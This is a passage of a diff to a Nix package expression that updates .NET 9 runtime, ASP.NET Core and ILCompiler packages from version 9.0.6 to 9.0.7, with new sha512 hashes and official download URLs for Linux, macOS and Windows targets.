+        hash = "sha512-EBmqQ9WVYHtpGaiq4dKlJw1q/RhqKNRu/kTqx0gqyF2KlULEm759WVXvNsTbn5z4rHATmUlvMbKHl6aPGeEGSQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-75DcTB0ssV5GYzcEuftwrQ8k2LyDB2e53SQpUyAbfM1oGduUxWmntm43OWcCNeE8t6q7eq457pHl5fwI1Fr50Q==";
+        version = "9.0.7";
+        hash = "sha512-JeyTs/3XBT11xNgnJJW91++uJ1waJMoAp+FRQ9CyY9TPYscLOUDTe5cKAy/p0l1lbEOVFbqu/YhpjhJ4S7SH8g==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.6";
-        hash = "sha512-3F7atPGjj6zBgdfWINFk02PVvvf90ldUxRHCGpvyFQW+DNmx7y/zqqnSDmM14eoVRZcVCRPaKCvPjfv1KNIlag==";
+        version = "9.0.7";
+        hash = "sha512-SY7EUX0XS4zl6TIqcv17AO5xQDPxrz0pRX2Bzn/KboWFObsLNfF4V+1HW4jLbSMsIK97MskDjfaedeNhYy8K0g==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-c8f2YKBlMf1WU5mgkDvfj2dC08ptngMc8KhcCpHRnOwPLMJUUA3luIe2J0pZ+nKBmux4Mt7t2QY8DUbmOrI/Cg==";
+        version = "9.0.7";
+        hash = "sha512-sTMXmk+7zY66dB2lTSeqbDAUvMW+iUb86MC5Q6ALnAcQfB0BS0Y0sCFAfqDrjb3+3l2NyGtkLdKA6oI379oWrA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.6";
-        hash = "sha512-UGSb5nYKfDFV0dsRbRMemfrw1qeYNusbd7ILPLVN+PH27ge9IjbV80PiJApW2q7GB2xN35WMhWiwrmE2Y2JsIA==";
+        version = "9.0.7";
+        hash = "sha512-C2yLDWG6qVMh54srzmyNG+w8kl/gU4TPGKkQhtotemLdIaamHyLM8xTW6UQxubC7ygqV73RZ/gip80zGt3zw0Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.6";
-        hash = "sha512-Bk+cjNd5fEgTB7FoXuUgV7ke/VMUDUnRryTq8m3wsnA7Il0RbjtFBW4Ut9RAKU1y3ZYs4ZN40rLgE4s0JvzHmw==";
+        version = "9.0.7";
+        hash = "sha512-9hmu86MCK6T8374cYyl+AbPpgocORRD7kPKlFjMp2vKusZSWvc5QhS3DvPD6Im9cS7wiiXNhN/IxIvMuOuA2yA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.6";
-        hash = "sha512-T8KyQcQtCWwWcwzuBKvPvHu5xHneYQ1RA1PNuWGk27rBklXmxt98icULTYpdDmcGqn2BQb6GlM7UWBYPA/VFjA==";
+        version = "9.0.7";
+        hash = "sha512-g3WkCqIJocgTL0Ggcci/wRM57+APJh80V8dJtp2dK2ol2lYdR4cH2UcRLY/ePIPwpYZrbM4jbW1Pom3C9AjLEg==";
       })
     ];
   };
@@ -160,402 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.6";
-        hash = "sha512-+NPQTOSkxtMikAfdRvHUccbJSRjgmJqhviHXB6xr17ZubKpbHBe1r8/5BmpUgNedykJhM+yjuM5cG12sLQ1lWQ==";
+        version = "9.0.7";
+        hash = "sha512-F978bKpKaTVK7yUMWyN99AxsaK6AmkOOkUelyGJLT2MGGNtUyEYoqG6Z9xlm6xMYNGYo5qiSPcFAjZsOXq7Jpw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.6";
-        hash = "sha512-i77xcc7KGxpX1Ydaa5R15+eNtko4CoIiH6HcwaDtBmnSeoLe41v/sp4W/OXlqrd+Q3a6UW481ff7n9odhgxsKQ==";
+        version = "9.0.7";
+        hash = "sha512-jDGelxUC3MZT30iJzCQDgbTcHfnbeDUDnRYtNfQ2czkaRfrQcgfZrPWX34KRuU61KAxpLLYg9heUbmnevM4aIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.6";
-        hash = "sha512-FBlNeLvbEAjmweRkAMyVxPuC2LorMXgVJmXomt3zqHmpy6JJzF0fVQuaIAQR9rPXwQxBNW08PmgXqRBf31i8RQ==";
+        version = "9.0.7";
+        hash = "sha512-P8KiD0vwj2ocq/3D/a3vxAkqB/FXHuZl1Os+lcqu4f4k3LmBsju2R+WZnsWljWCEfAm6bwjmtyMchPQnzkmVaQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-ekkS3SSPWUzKC54fK5zDz8ZMe5kyLIK6l9mlFZFPuJ/mvbJ+t7YQmy97Lp/rcjUDC0z2SvwDcbe4rw0JNCJyDQ==";
+        version = "9.0.7";
+        hash = "sha512-j3jihG333llTYG6zr9lCKGj7OPHjZE4hc5RHNkWJShJKecFHMnPk9UkFfzgyf6FouM1K4gA/OyZT/wjmDmdf2w==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.6";
-        hash = "sha512-/AhNE7lNbGsFfMXWk6/AAN5vpkaqrnwzTZJ59lUSba1onpCJS8ageZNZZf2vFLpl2JYuNt7qTgcBRTWZ1I0CEQ==";
+        version = "9.0.7";
+        hash = "sha512-vQX6KFVBAeIo4SvLwlGw/MivqU3JC7mxsVLlNRQzX9W+vbDLdDgLrruCebjRqSdgDV9xoLx3hLGc5BZOdtOJ9Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.6";
-        hash = "sha512-YBOl4EfiO8a9AIdr7hdbeHB4vu3HNQs60YKLakZnYGp+YYlY5VfOF+NMcAelrkbOf88HxMoKsPtV0WuQrn6Mzw==";
+        version = "9.0.7";
+        hash = "sha512-M6uGdxBqyzODiOmWE7VmnAYR/O76ZSr9sVNRCwYO7HOZYZylw5y51gRvgW1u4hFeIJxvMWGgicsHQ10FeAEKwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.6";
-        hash = "sha512-ldmqB77CuVlSeYEvLXsOf8EbFgyDGNPm7hb23aweU0JEbpkYlq1+LhGMKavB67nckMhOkMWNJioWXP4+Cn02VA==";
+        version = "9.0.7";
+        hash = "sha512-atws8JTumHepwLA2m3dKlda/m25s+kYW1ROZD+AlpjQ76MWxa1YYRNVw8WC6eaa3VAqXOQdR9ve2jsBMnjKuwA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-ka7E4MUOFjZyNVyglGgVhXWp1Vj0lyBUJ7b1aHgegcXLSvDP0GwNF66IBjPxz9PNZF4MxNJr5F5Ny8u6FKI/gg==";
+        version = "9.0.7";
+        hash = "sha512-nGVfOa47L+KNChpXQN5PQjI6CSBFXvH63+EJPcusBiH+BcddA5VPFNGFj/Kb3VCrXNKKGFJR6A0Xlgp2UtQhtg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.6";
-        hash = "sha512-0hK87O2vVKwqG9paC9hsVCKOZqjEHcCrLhR1a4A/sbUqQo8B0MFKvvr/p0w5PFmiQmho9lriLWcJ9gImsSt1FQ==";
+        version = "9.0.7";
+        hash = "sha512-qkZemav26phWQKiDIGhQjEmNYefeSJCUOHIF/eHiaDnRm2ZmE1zn0Gwiva1DtDScDgDpTMAk2LzRQIOUDwjbSQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.6";
-        hash = "sha512-cjrfAzBmcTHSJno22YZG218HD1WjXe9CGVUN+sGBxP/c6fqGulOI5UDJJDmQ4FUV+rW0cdTre1DYLtWiMuI8Jw==";
+        version = "9.0.7";
+        hash = "sha512-lWz1s0VgvrE2DiDEoWzZALdICtr8+heyyGjut4tnmiclmQq6OooNIj272xxqUTd/fXbMm4SnroE34hUUhkiDHQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.6";
-        hash = "sha512-kj9m+09fQalBWgRwfaYThuTK7NFPtyad8X63jZ7gfj7WnqsqZLWdsBtNihaJVoNj94cHHVut3MItFfCWtpPfZw==";
+        version = "9.0.7";
+        hash = "sha512-nR++CrvFiYs9LGxdTeRR9kVO4tLPV4hXQJuCPEywji0ikT0H71z3i/ZNhCLHOoFseddfb+x8wh0o346H49/Wdg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-Usx2GTbhdsrrBoIDG5ZX1DUfDBJGVGtf85VlH3tX0YXBzVBVCJJPx7IfcmakG1fozurBhNpWiGXbglyzskySnw==";
+        version = "9.0.7";
+        hash = "sha512-FrNN5JnBUVIrEjEggGLyKsQBhPmUUSHXtlSGo1A5YuAwNUtepbTbwLMCcrEfNJgNQ38+L8naAGu1ZqKtcRZt+g==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.6";
-        hash = "sha512-MD2n0rlApp3G+Ur2lMQLh1iQl6afbm1Q4KwZpB1zV43HaZgxBL3djW4cKFjDYo0aP2Bgn1ycoL5aab9aZti/5w==";
+        version = "9.0.7";
+        hash = "sha512-ljwTM1F5KPl0wWaDks91B4+UHaSrPE9G6/U3vqQKspYXjd7D4cI/xBhnIrQrae5ntPAXHwk03Rt0VsbkIP41wA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.6";
-        hash = "sha512-6qvqNn2PfL8YUY/CPyeZTgTTmi9Dw7w8aJrpn7DgpPVjnspb8vsuRd8T1Li2PTU5y6E8O3w6jetrdI6mgpX/Hw==";
+        version = "9.0.7";
+        hash = "sha512-wUkyIvfd0uKKSulkzfOTV1ACj9xroqDhAU39Ufz2ZWLoTsjsm1O3+O7KtqEwsJ7pUdy+am9TnIN5pG0hfsFepQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.6";
-        hash = "sha512-oAQ1cHbW8ZdXvraB09nbu1V4b1eUN7ZH71+yFX21t+1ArT5H8PVQ/hrd2K6WhDGFJBXlNjYT6Trlg+gbqKAheg==";
+        version = "9.0.7";
+        hash = "sha512-HoPuExDtKhtkoJGwq+B6mDzTKtjKgrwIij0u9954TfjZyDDwJozmEnFgtoZZ4ltTH0sguKL1JSN7GFYFkQq3BQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-ku6jYk5c0aPkZ8JpyAZpjyEJkIqNalrRl8TQUF8c7LGaFEzjR7jrTaiXUeEojl7FX07Jrmo5bCwkbi+P+rMbxw==";
+        version = "9.0.7";
+        hash = "sha512-3qlad7bv/DSNzxH/mgvwM//MX4fA1OQmGjyBM6eujEm/K387JQ4OUgtpXHsu8jHvRARCuFB/qNacxbzvYInh4g==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.6";
-        hash = "sha512-GSnfCxkwq7J1PdJaNcVSclPNOftPWD6m+CDwYdkxmFFcI7Qn667+UAqof/zTDlrWBKSEnQ6Og0I7ldHzrbyOKw==";
+        version = "9.0.7";
+        hash = "sha512-sl8QufxXNfWIxOjZQtFJJG+5zRWZtxQc0CMOtVF5SURkZLz2Hy9KwF6bz2tlljohK/Akf0udaeYK2XhnHIKiug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.6";
-        hash = "sha512-mvNpFSjrYU7/PMBy98idjunaBKU5PolHyFXbYyVPrlMWUWSo5F5baxM5rFmD27tEJOEs4BFbKGGAIgjTl0dL5Q==";
+        version = "9.0.7";
+        hash = "sha512-8TsHIOl31DLvkBgj8mHbjP6eSK5wpIGygkdSrBqUJbs+k6MIQrblw5Q6HwMsS8LcRtxvZ4PtoEBubvie/dGSfg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.6";
-        hash = "sha512-csGlXEfhrF2w3JUJr0hBgCRkd7jAjOhTY9jsNbl1f8TIhjepUH8q4dPrRrjBzXopRW3iqD+3oSetnS2/AxqIAA==";
+        version = "9.0.7";
+        hash = "sha512-SXg/5ySrWhQuauFbw09ydh6uJadEAWSfOVDwdEb4Tbd+DkCkjk/bjGn0ALBcM8iEjLbbRMvPOd536pS07fQnWg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-IFZ4+4RboQyHCLwSJ/4hWFkRbBez2rDTp00GUC7tQRjH3d2vPBd5GPu0joBod7YqmjQCDw+APwgm/LXuF02RBA==";
+        version = "9.0.7";
+        hash = "sha512-5wYYJd1dr4n/CF/EOHVq4LT2KlEojcl5IWSxa0y4/fdO/1SEKOEPDBKqnR9kiPbNKTB4RRFehQr/kkaY6bCwsQ==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.6";
-        hash = "sha512-P17+iLFLko8DK8zVsEwlsxVEsA2aMMdWpmEhTgyeHfG8uq5eOyMSTNMOWeOsDDpThNo+8U9d4xULnV46IRFwQQ==";
+        version = "9.0.7";
+        hash = "sha512-zTbTJ3M1BSPPTHkk4KHZJyrK6DhpMUiryHBZ1AYcRlLYCK6ZIpAjv4izhMQHAxMIqz6ovLZVuvc7vU8aKG9qrA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.6";
-        hash = "sha512-MWQXJ5QsswPxfykUi4gHJ2X4pnQ7ZWeIiGRx9mEWoZPV/NkC64DBG5KC9u9+hCluij6BZEFjwBjl0KzCuOm4WA==";
+        version = "9.0.7";
+        hash = "sha512-ci5Uyc/L/+JSEsM6XtuY2W/94KWhAU6K/txAf7FXoups3/kLRQfSSTeSTZ3W6WbUuI2w40Xl0YYOHTo4lTSDJQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.6";
-        hash = "sha512-eVf9gQ1qlT7uUVfYiSLpj1H/UnGqkSUuq4/evLuAxA4JHGFRpv/GdNmgMcM8nVTNm9KkQj4XtqoLy4iS3zNrmw==";
+        version = "9.0.7";
+        hash = "sha512-/RSgn8w2zG9pJOQx3qtyce5zvFHxGc3TV3BOTCa9IDM0U33rbNiLg3GEEaodvAuiXkY3jsnDd4HT5ZOHnfboAg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-nesIUxMmU5gIh8GRimFetwosmow5P5ij6USkbkM5f+iE/C91TbwZPrilv8Tix/Gj8OR2lOGlREhYHUsc+5H9uA==";
+        version = "9.0.7";
+        hash = "sha512-6vAs0KI14hm+AnP9gBoykxOadgp456o62SJ+o6yFDVqxn+nWb7t4Mra9oLi6YWH69m8mVQN6x0QCusDwdtgKuQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.6";
-        hash = "sha512-noJBW2+TxZYce0afsgMJAAA//nxOWF+KASiQ3fPRpzZjeOGfdNyY6BcAt2i/DfVU5u/cqY0IwOfVBd6iq3dkLA==";
+        version = "9.0.7";
+        hash = "sha512-vKDr+mIfrFC4pGBS7xsN4kqa6YMXezozSfeWIgi9NUzI1tlrRIZrwEla6eIuU/tUzZrrE67bju4R3BnrFSTtwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.6";
-        hash = "sha512-DIJUSz/0MD3YBkhR17re92A9FGyu+1lhWJX4SkFdl7pILxSgJUqQNdZpnh2KssNWNbb5j0EtP9G3Tc2uUCH8bw==";
+        version = "9.0.7";
+        hash = "sha512-oYJlCtnHBn3dWqOgyE1E4ng+lXJRPzWNYsf+lj00bCLFkjaTLBmG35hMlkZ1ZmZDPBU4VvOuHDyVx3/QLJVheQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.6";
-        hash = "sha512-h60P7+JXr8o1IPHe7pNxESjR8+pVvYT+AFaG5L8G9SIKVr+Rtt8P5rpgUXXLyydWDiarrRUdo52Dr4CXkc6Ojw==";
+        version = "9.0.7";
+        hash = "sha512-34Y4PO3TmpEaBf7DOQUlckzuJb6G7s3xubcJP3xPrwbLsVstOL6SGKBofWqjyygH3i4VgLYc3bqxoYDryXX2mw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-aZgVLnZjLpr6oPPSDX6DiOAnZoDukSn5xmqkWj8c89iNXHRE1xK5yRNzwRV4fyWIE0tIf3EvoPOlzE0BpEBSYA==";
+        version = "9.0.7";
+        hash = "sha512-RPzpHiUrXTqW/hLeUqZDA9AFSkVseZmvWY0wwjD5GGKsTRzQS0yT42PIVqsHbEN/nHRRKWyvTN7tokyYz+MiRQ==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.6";
-        hash = "sha512-rSpPx3elDDELL5n1c8teBQWlv83Z62cYRltExoAA3D/HB/YKcqHNjnQc/4XB0O40mP391+h9bfvDSkMdUc9/3w==";
+        version = "9.0.7";
+        hash = "sha512-GOs5KT4SIzSpfe0WPbFVhnA8+klHq8FbfDeDUTvbhSIClPLEfwheeaM+HuQpZTzxpOaMTWcmrawm33ia3NZyMg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.6";
-        hash = "sha512-+/DAiKxDjWba4DRXmw1dfaK+FWA6foy1sGssWxs5eAw2wh+uROtGsKJrz4rf1k7d9KP6jF+tVsV0vb/bBi89Cg==";
+        version = "9.0.7";
+        hash = "sha512-4oU3yJfh3HRrvRrCC2QU5wwhqiLc1Zl6Py4cmBVFgNdHOTk38/gt43tWiRBAL+xNr0mX0cltGPMirFdtFZt1wg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.6";
-        hash = "sha512-b3UuGcvJHlP9ie1D6YLwCabrhRYZjbhPxYe9vMGPUGBlTNIZUz7kdwNyIyCAWT/dQRqOKD2EoNBpV5CEIRoUIA==";
+        version = "9.0.7";
+        hash = "sha512-cWumHZc5W8yX5c00U3t4WUymi16KojHUMgSkla5NvzuVPmDpopVKsiRB3j+iQtwA14apPr9fe11srPVVMH4WEw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-9p0JQzftQn+daDgkQOeTc0y4zMw1XSwfDVU/0r8GVXJ7uGnHnQ7nLE/7ZYbKuEesq3POXWz6zXvQG6IbsAzgQw==";
+        version = "9.0.7";
+        hash = "sha512-BODpAvApSDrrndr/6MIR52Sztu7iXCUt4Tn8ex3ZqDMsWgoiCXe70WT0loozMuU+ZnzsXyJf8m2JSlZ5NMsK+Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.6";
-        hash = "sha512-OiHjmlNigwmhXEazRkn8KpJqBfHlXd1gT22J18v/hj5W5XMec8EYkdNSS0Pcj7mRHUmKJWeQB0bBx95sDJMQig==";
+        version = "9.0.7";
+        hash = "sha512-nn5X84wpzbMfJ1Vx8fgZdL7cq4d2KxWK3M9GBH4LggzYMnK79YDfoxHl+YLTK5EfqgxFfxunzZdNrpUBDP6F6A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.6";
-        hash = "sha512-da1Bckkc0nO62ixInAZ822MXqMi7oMqcIo1/PRd/AtmNuL61tHRZB8VEVfT7hHBTM+VpvvZMquWcTg44nwkYdw==";
+        version = "9.0.7";
+        hash = "sha512-i6qupvYxI42nWLBGcj6Qe6oMPl1uk+9ANDTPz4x29O3/VEeUw7pJZar5dExUcc41cfgA30UHTkyzZ43umrFirQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.6";
-        hash = "sha512-6eV83UTMgW9ysKifWY+qvz1KTC077Wxt4DobByn8I+Op5Zk4Cowta5IYrpTAaA2F84I8cKldyqDtcgMyuJ1ciw==";
+        version = "9.0.7";
+        hash = "sha512-i6rCnWy2wF4dseZ6IQcmBPs/A2rj8Yaji1UilfXyOtRnP3uQazDEC7Pd1JJeqzCTNRBgfvXw3r8IHXTxt107tA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-gkgM4PHEEP2doB8VNHiwBTazR/0CaX+fAB/mu2sC/yEDLGvFWF2wPwmVLho7YqEy65XkZUOxvoBdIQpYbxkd9w==";
+        version = "9.0.7";
+        hash = "sha512-sJgDF8XETA5JhPSvt3/DOIx9SSTuaG14oKcVpoJX4Yg8pPQJ85IqESoo3VSRR7HQWN/e5Nt6ySu7/jnfXC0szw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.6";
-        hash = "sha512-/AneeKhgbNFFnlsbKwsHd7Pcjx8LVch4/sjtbLLYdeHCBEsdFTG4dObQAuaEG+JlcVE3r8yAGpyl/d2HB2nVlQ==";
+        version = "9.0.7";
+        hash = "sha512-7p8ELP0eWRjIb7/djqopJYoLoQstaBZFh7vDB91ikkXXlCxyHr14h0CygLkcUELTMvSS0jnAQ+icnYy5NBA0SA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.6";
-        hash = "sha512-nE1uPy5By1aOy3qMujXO5N7/k3KlwhBNU0WB0BUUt7CSK8aRk9OZ+6LpZP0BnwktKy9lV4jlenF6ATimmH9yig==";
+        version = "9.0.7";
+        hash = "sha512-Yk+dlmzAg05RUkf3C4eUuEwpk+QFSR8lFpIe5EUT9owyCqCYBa2NrkqeRP2XoIPzbqhNIZqB6ChSbpg0wbPMlg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.6";
-        hash = "sha512-vhGiijVula3UY5RCzFEFNdoOWLt6Gcm1FZRuE6EHOX5A4bx0poj4it6vkEZTe/p5HmjBiuLte9RD2uwd1aOC0Q==";
+        version = "9.0.7";
+        hash = "sha512-+oZ4sarYCA5fqawFE/9JFJtNnERKCMRY4SBNI6FVKtLomoOKbu5LxdxcV4SWYBqfXg08fWJEZX8qHr/Mmd/nHQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-lLsdNjROghJNpR66Twj233udoE8O+ZWnksQEvo1bzQzGw9zUUo4MooUGXZkuoD+FzUDDzdaBmwZVzJE6eEZZLA==";
+        version = "9.0.7";
+        hash = "sha512-ozFg9cjKG8pN56wrFPV+m0wbVyK+cOutTo8LrIVYeL3epXnahBIa6em7POXvJF2FRmTRjD85ASH8xIrVMc7z6w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.6";
-        hash = "sha512-OPg+mErxqN/lfrtwyZ5OpFbcwx2m61G23cZucmaOs2K4ezh2cUzRuFyXs3jwaTgrl+x3uI/ZJoXxGlOIjDsfrQ==";
+        version = "9.0.7";
+        hash = "sha512-vgQaQhPWngepjw+y9qhNx9b/QDK1YmSlYzjO8WUGfYDPnUn40gLUzMKlPUAAMTPBIt3clULPLy5K6c6w3bvQxg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.6";
-        hash = "sha512-prdOLgJLRRGXhqCgxXmWY/bEyqqFOS9crkM/wuguVnrTGO/hU3ARutgJxy4EDTGVVMXbkPj4CK3JFQl1qw+LBQ==";
+        version = "9.0.7";
+        hash = "sha512-ec2/bdKdUMyYC93cIJ6sqAG5yqdjJ1ikRwy7U12B77HrWMBUOI3UeHRmgcBNw775fYZ8Ut1P15WyaZmCJMW+fQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.6";
-        hash = "sha512-8xBtrtU3QgkQJmPb3Cn1qNktfvgWO45GAqQipNUVF01CdWkNQEcYhreUEPiy84tgX1CziyKjWz95MM+/3kDf+w==";
+        version = "9.0.7";
+        hash = "sha512-yebdLREVWLaayNNfyAu1rffiP4GIpa+Tyz7dhGIF1AlYPWdFHGldYz1eYepzWqqiAXWWgEINQaLD8yaPgRLnSQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.6";
-        hash = "sha512-mt2dv5Xg0yqAjF8b363gOAWSfyyF+m/Aq9H8hN8P7lDGJ//VZ7m0qHsL74Kj81U/g1Ehkzj7CnQwoUB2oyL2gg==";
+        version = "9.0.7";
+        hash = "sha512-QAJEJd7C4MErPoK6kjzmL7aTiRYSDXRhl3WwDyGzIEav5Me7jDo1OWAENnRL2jw/tB4FAl0k8ADclshPyZRrPw==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.6";
+  release_9_0 = "9.0.7";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.6";
+    version = "9.0.7";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-arm.tar.gz";
-        hash = "sha512-Q18eHRmdi0kBVaTaNSQRN9FxGWsi3RnCM2g9BDHYSOE6QkRWP09DhJl0WfQKdnr3202yP22nIs75oRxzJQqd2Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm.tar.gz";
+        hash = "sha512-dMQjUb5A3W8gZWzC9AUz1fRddZM4/EnNvWnYP7TPTkFX3Ek8CAg8SEdES8RiidAz+TyXgHL53nK+56VBJRq6DA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-arm64.tar.gz";
-        hash = "sha512-inAkvRRCVPQAwHWO/Vw5hU66XX4xh/veLchXzt2QEq6TrO6xaDv2vzkM77pAxQ+VzDKVoajrgxM6jgG5EonfxQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm64.tar.gz";
+        hash = "sha512-ebKN8rxSLUe9DqP4tKqkRxAvkgGdA4ZwdD+7weazHdIGSZ/238LTFiPe22Sp4sojYIx+pyJfHwcXRd5yyfgb9A==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-x64.tar.gz";
-        hash = "sha512-VMEixMYSfOfg8K0EeaEB2xRVSEyeW/+o/cDdctLbAovoaGHzMfLHwcsurumpLnQeTl2lZ3lVM+Rq8n5OSBwEUQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-x64.tar.gz";
+        hash = "sha512-sXXU0FePn11zXVne8/REWUYu82tL0H2coO2YU79C2Qx7rOGV/yZKnc9t1NbUUshwWQhRRiaPzjVA7Vjq85Yp6w==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-arm.tar.gz";
-        hash = "sha512-8OfrOheC79iKYMXEW4nyRAaP3Jz7GeD/0LR2Cg9xJfQ/K9AOqvaa1e0rXyt00oR8kW/3lXnHdiin01hl1yuqww==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm.tar.gz";
+        hash = "sha512-NJd8TzThH1Kr3A5I8E3JWrDRvf1kHdQKTFOQwJDSQuxF7VCvsXYTn87WpaU0ayU0X9+r/x6kOLhZS1JpLxSjrQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-arm64.tar.gz";
